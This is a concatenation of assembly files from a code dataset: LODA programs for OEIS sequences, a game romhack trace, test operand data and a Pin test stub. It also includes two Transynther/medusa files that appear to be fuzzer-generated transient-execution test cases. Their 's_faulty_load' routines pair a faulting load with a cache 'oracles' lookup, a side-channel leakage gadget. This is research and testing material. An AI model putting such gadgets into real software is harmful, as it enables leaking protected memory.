programs/oeis/028/A028358.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/028/A028358.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/028/A028358.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A028358: Partial sums of A028357.
; 1,4,10,20,33,48,64,82,103,128,156,186,217,250,286,326,369,414,460,508,559,614,672,732,793,856,922,992,1065,1140,1216,1294,1375,1460,1548,1638,1729,1822,1918,2018,2121
mov $12,$0
mov $14,$0
add $14,1
lpb $14
clr $0,12
mov $0,$12
sub $14,1
sub $0,$14
mov $11,$0
add $11,1
lpb $11
mov $0,$9
sub $11,1
sub $0,$11
mov $1,$0
gcd $1,6
mod $1,6
add $1,1
add $10,$1
lpe
add $13,$10
lpe
mov $1,$13
| 17.666667
| 168
| 0.584906
|
8a208c01c06e291a7b7fcd3b87d9f7221b1554df
| 7,051
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1392.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1392.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1392.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0xcf65, %r10
nop
dec %r12
movw $0x6162, (%r10)
nop
nop
dec %r11
lea addresses_D_ht+0x13ccb, %rbp
nop
nop
nop
nop
nop
dec %r12
vmovups (%rbp), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $0, %xmm7, %rdi
nop
add $11666, %rbp
lea addresses_normal_ht+0x1c8e5, %rsi
lea addresses_WT_ht+0x102c5, %rdi
inc %rbp
mov $25, %rcx
rep movsq
nop
nop
nop
nop
nop
add $4626, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %r9
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_normal+0x133a5, %rbx
clflush (%rbx)
nop
nop
nop
nop
nop
cmp $55933, %r15
movb $0x51, (%rbx)
nop
nop
nop
inc %rbp
// Store
lea addresses_WT+0x71d5, %rbp
nop
nop
nop
nop
nop
add $4173, %r9
movw $0x5152, (%rbp)
cmp %r9, %r9
// Store
lea addresses_UC+0xa4c3, %rcx
nop
nop
nop
nop
nop
and %rbp, %rbp
mov $0x5152535455565758, %rbx
movq %rbx, %xmm2
movups %xmm2, (%rcx)
nop
nop
nop
nop
nop
and $59494, %rdi
// Store
lea addresses_WC+0x1cabd, %rcx
nop
nop
xor $39961, %rax
mov $0x5152535455565758, %rbx
movq %rbx, (%rcx)
nop
nop
nop
nop
nop
xor $26345, %rcx
// REPMOV
lea addresses_UC+0x134e5, %rsi
lea addresses_WT+0x1eea5, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
and %rbp, %rbp
mov $105, %rcx
rep movsl
nop
dec %r15
// Store
lea addresses_WC+0x63e5, %rbp
nop
nop
nop
nop
nop
cmp $16402, %r9
movl $0x51525354, (%rbp)
nop
nop
nop
nop
nop
cmp %rsi, %rsi
// Load
lea addresses_RW+0x2f7d, %rbp
nop
nop
nop
nop
cmp $4262, %rcx
movb (%rbp), %r9b
nop
nop
cmp $33661, %rcx
// Store
lea addresses_normal+0x1f981, %rdi
nop
nop
nop
dec %rbp
mov $0x5152535455565758, %rax
movq %rax, (%rdi)
nop
nop
nop
sub %rcx, %rcx
// Store
lea addresses_D+0x19295, %rbp
clflush (%rbp)
nop
nop
nop
dec %rcx
movw $0x5152, (%rbp)
nop
nop
nop
nop
cmp %r15, %r15
// Faulty Load
lea addresses_RW+0xdce5, %r9
nop
nop
nop
nop
cmp %rcx, %rcx
mov (%r9), %di
lea oracles, %r9
and $0xff, %rdi
shlq $12, %rdi
mov (%r9,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 8, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WC', 'same': True, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_RW', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': True}, 'OP': 'REPM'}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 30.132479
| 2,999
| 0.654375
|
b350756d09fbb7272dd2a34da6bc8b28e9160e9d
| 4,031
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_1985.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_1985.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_1985.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r9
push %rdi
push %rdx
lea addresses_D_ht+0xf9a4, %r9
nop
and %rdi, %rdi
mov $0x6162636465666768, %r12
movq %r12, %xmm6
movups %xmm6, (%r9)
nop
nop
nop
sub $19969, %rdx
pop %rdx
pop %rdi
pop %r9
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %rax
push %rbp
push %rdx
push %rsi
// Faulty Load
lea addresses_WC+0x1e958, %rax
nop
nop
nop
nop
nop
add $55070, %rdx
mov (%rax), %r12
lea oracles, %rdx
and $0xff, %r12
shlq $12, %r12
mov (%rdx,%r12,1), %r12
pop %rsi
pop %rdx
pop %rbp
pop %rax
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': True, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 65.016129
| 2,999
| 0.663111
|
3fd65b33a72ed47c2c952e44aa9b97f68c0266f6
| 579
|
asm
|
Assembly
|
oeis/024/A024116.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/024/A024116.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/024/A024116.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A024116: a(n) = 10^n - n^2.
; 1,9,96,991,9984,99975,999964,9999951,99999936,999999919,9999999900,99999999879,999999999856,9999999999831,99999999999804,999999999999775,9999999999999744,99999999999999711,999999999999999676,9999999999999999639,99999999999999999600,999999999999999999559,9999999999999999999516,99999999999999999999471,999999999999999999999424,9999999999999999999999375,99999999999999999999999324,999999999999999999999999271,9999999999999999999999999216,99999999999999999999999999159,999999999999999999999999999100
mov $1,10
pow $1,$0
pow $0,2
sub $1,$0
mov $0,$1
| 64.333333
| 498
| 0.873921
|
f136c9c12244c0da3878fe08ca12d714670e1b1b
| 4,411
|
asm
|
Assembly
|
dino/lcs/enemy/4A.asm
|
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
|
a4a0c86c200241494b3f1834cd0aef8dc02f7683
|
[
"Apache-2.0"
] | 6
|
2020-10-14T15:29:10.000Z
|
2022-02-12T18:58:54.000Z
|
dino/lcs/enemy/4A.asm
|
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
|
a4a0c86c200241494b3f1834cd0aef8dc02f7683
|
[
"Apache-2.0"
] | null | null | null |
dino/lcs/enemy/4A.asm
|
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
|
a4a0c86c200241494b3f1834cd0aef8dc02f7683
|
[
"Apache-2.0"
] | 1
|
2020-12-17T08:59:10.000Z
|
2020-12-17T08:59:10.000Z
|
copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
004D3C move.l D0, (A4)+
004D3E move.l D0, (A4)+
0128FA move.b ($4a,A2), D2
0128FE add.w D2, D2 [123p+ 4A, enemy+4A, item+4A]
012900 or.b ($4a,A3), D2
012904 add.w D2, D2 [123p+ 4A, enemy+4A, etc+4A, item+4A]
0338AE clr.b ($4a,A6) [enemy+44, enemy+46]
0338B2 bsr $35812 [enemy+4A]
0338E2 clr.b ($4a,A6) [enemy+44, enemy+46]
0338E6 bsr $35812
033916 clr.b ($4a,A6) [enemy+44, enemy+46]
03391A bsr $35812
0359C8 clr.b ($4a,A6) [enemy+44, enemy+46]
0359CC moveq #$7, D0
03B2F8 clr.b ($4a,A6) [enemy+44, enemy+46]
03B2FC move.b #$54, ($58,A6)
03B872 clr.b ($4a,A6) [enemy+44, enemy+46]
03B876 move.b #$a, ($78,A6) [enemy+4A]
03DE74 clr.b ($4a,A6) [enemy+44, enemy+46]
03DE78 moveq #$8, D0
04033A clr.b ($4a,A6) [enemy+44, enemy+46]
04033E moveq #$7, D0
042134 clr.b ($4a,A6) [enemy+44, enemy+46]
042138 jsr $12cb4.l
04262E clr.b ($4a,A6) [enemy+44, enemy+46]
042632 move.b #$b, ($78,A6)
04582C clr.b ($4a,A6) [enemy+44, enemy+46]
045830 move.b #$a, ($78,A6)
0483C8 move.b #$1, ($4a,A6) [enemy+44, enemy+46]
0483CE move.b #$a, ($78,A6) [enemy+4A]
04D928 clr.b ($4a,A6) [enemy+44, enemy+46]
04D92C move.w #$14, ($6a,A6)
04DD42 move.b #$1, ($4a,A6) [enemy+44, enemy+46]
04DD48 move.b #$a, ($78,A6) [enemy+4A]
04FD82 clr.b ($4a,A6) [enemy+44, enemy+46]
04FD86 move.l A6, -(A7)
0512D2 clr.b ($4a,A6) [enemy+44, enemy+46]
0512D6 move.b #$2, ($0,A6)
053458 clr.b ($4a,A6) [enemy+44, enemy+46]
05345C move.b #$a, ($78,A6)
0558B2 clr.b ($4a,A6) [enemy+44, enemy+46]
0558B6 move.b #$1, ($0,A6)
055B48 clr.b ($4a,A6) [enemy+44, enemy+46]
055B4C move.b #$ff, ($7d,A6)
0572B4 clr.b ($4a,A6) [enemy+44, enemy+46]
0572B8 move.b #$2, ($0,A6)
0578C0 clr.b ($4a,A6) [enemy+44, enemy+46]
0578C4 move.w #$14, ($6a,A6)
057FD0 clr.b ($4a,A6) [enemy+44, enemy+46]
057FD4 move.b #$b, ($58,A6)
0580E2 clr.b ($4a,A6) [enemy+44, enemy+46]
0580E6 move.b #$1e, ($58,A6)
0584DC clr.b ($4a,A6) [enemy+44, enemy+46]
0584E0 moveq #$7, D0
05A4CA clr.b ($4a,A6) [enemy+44, enemy+46]
05A4CE move.b #$2a, ($58,A6)
05AADA clr.b ($4a,A6) [enemy+44, enemy+46]
05AADE moveq #$7, D0
05B0B4 clr.b ($4a,A6) [enemy+44, enemy+46]
05B0B8 moveq #$0, D0
05B938 clr.b ($4a,A6) [enemy+44, enemy+46]
05B93C moveq #$0, D0
05C3E0 clr.b ($4a,A6) [enemy+44, enemy+46]
05C3E4 moveq #$0, D0
05EE54 clr.b ($4a,A6) [enemy+44, enemy+46]
05EE58 moveq #$0, D0
05F622 clr.b ($4a,A6) [enemy+44, enemy+46]
05F626 move.b #$a, ($78,A6)
06A226 clr.b ($4a,A6) [enemy+44, enemy+46]
06A22A move.b #$b, ($58,A6)
0AAACA move.l (A0), D2
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAACE move.w D0, ($2,A0)
0AAAD2 cmp.l (A0), D0
0AAAD4 bne $aaafc
0AAAD8 move.l D2, (A0)+
0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE6 move.l (A0), D2
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF4 move.l D2, (A0)+
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
| 50.125
| 350
| 0.618907
|
17b03493a77317ea76e752dd4d357fc114bed750
| 1,560
|
asm
|
Assembly
|
test_util/test_util_op16_data.asm
|
nealvis/nv_c64_util_test
|
e9893f7c2bb0a3b55bd93e02d17cf497f84f625b
|
[
"MIT"
] | null | null | null |
test_util/test_util_op16_data.asm
|
nealvis/nv_c64_util_test
|
e9893f7c2bb0a3b55bd93e02d17cf497f84f625b
|
[
"MIT"
] | null | null | null |
test_util/test_util_op16_data.asm
|
nealvis/nv_c64_util_test
|
e9893f7c2bb0a3b55bd93e02d17cf497f84f625b
|
[
"MIT"
] | null | null | null |
//////////////////////////////////////////////////////////////////////////////
// test_util_op16_data.asm
// Copyright(c) 2021 Neal Smith.
// License: MIT. See LICENSE file in root directory.
//////////////////////////////////////////////////////////////////////////////
// This file contains data (variables) to be used as 16 bit operands
// for testing nv_c64_util macros that need 16 bit operands
// import all nv_c64_util macros and data. The data
// will go in default place
#import "../../nv_c64_util/nv_c64_util_macs_and_data.asm"
result: .word $0000
op16_0000: .word $0000
op16_0001: .word $0001
op16_0002: .word $0002
op16_0003: .word $0003
op16_0004: .word $0004
op16_0005: .word $0005
op16_0006: .word $0006
op16_0007: .word $0007
op16_0009: .word $0009
op16_0020: .word $0020
op16_003F: .word $003F
op16_007D: .word $007D
op16_007F: .word $007F
op16_0080: .word $0080 // 128
op16_0081: .word $0081 // 129
op16_0099: .word $0099
op16_00FF: .word $00FF
op16_0100: .word $0100
op16_01DD: .word $01DD
op16_0200: .word $0200
op16_0300: .word $0300
op16_0999: .word $0999
op16_2201: .word $2201
op16_2222: .word $2222
op16_3333: .word $3333
op16_557F: .word $557F
op16_7FFF: .word $7FFF
op16_8000: .word $8000 // high bit only set
op16_8001: .word $8001 // high bit only set
op16_9000: .word $9000
op16_9998: .word $9998
op16_9999: .word $9999
op16_BEEF: .word $BEEF
op16_FF00: .word $FF00
op16_FFFD: .word $FFFD // -3
op16_FFFE: .word $FFFE // -2
op16_FFFF: .word $FFFF // -1
op16_Small: .word $0005
op16_Big: .word $747E
op16_Max: .word $FFFF
| 27.857143
| 78
| 0.653205
|
b3a60324f4dc2b7f3332202dca7a020b32860f07
| 751
|
asm
|
Assembly
|
programs/oeis/321/A321383.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/321/A321383.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/321/A321383.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A321383: Numbers k such that the concatenation k21 is a square.
; 1,15,37,79,123,193,259,357,445,571,681,835,967,1149,1303,1513,1689,1927,2125,2391,2611,2905,3147,3469,3733,4083,4369,4747,5055,5461,5791,6225,6577,7039,7413,7903,8299,8817,9235,9781,10221,10795,11257,11859,12343,12973,13479,14137,14665,15351,15901,16615,17187,17929,18523,19293,19909,20707,21345,22171,22831,23685,24367,25249,25953,26863,27589,28527,29275,30241,31011,32005,32797,33819,34633,35683,36519,37597,38455,39561,40441,41575,42477,43639,44563,45753,46699,47917,48885,50131,51121,52395,53407,54709,55743,57073,58129,59487,60565,61951
lpb $0
mov $2,$0
trn $0,2
trn $2,1
seq $2,156619 ; Numbers congruent to {7, 18} mod 25.
add $1,$2
lpe
mul $1,2
add $1,1
mov $0,$1
| 53.642857
| 543
| 0.76032
|
e59df45d7c6d8a00c67ccaf6f87ee4896de8c61b
| 417
|
asm
|
Assembly
|
pin-3.22-98547-g7a303a835-gcc-linux/source/tools/ToolUnitTests/df_test_tool5_win.asm
|
ArthasZhang007/15418FinalProject
|
a71f698ea48ebbc446111734c198f16a55633669
|
[
"MIT"
] | null | null | null |
pin-3.22-98547-g7a303a835-gcc-linux/source/tools/ToolUnitTests/df_test_tool5_win.asm
|
ArthasZhang007/15418FinalProject
|
a71f698ea48ebbc446111734c198f16a55633669
|
[
"MIT"
] | null | null | null |
pin-3.22-98547-g7a303a835-gcc-linux/source/tools/ToolUnitTests/df_test_tool5_win.asm
|
ArthasZhang007/15418FinalProject
|
a71f698ea48ebbc446111734c198f16a55633669
|
[
"MIT"
] | null | null | null |
;
; Copyright (C) 2007-2012 Intel Corporation.
; SPDX-License-Identifier: MIT
;
PUBLIC TestDfByMovsd
.686
.model flat, c
extern source:word
extern dest:word
.code
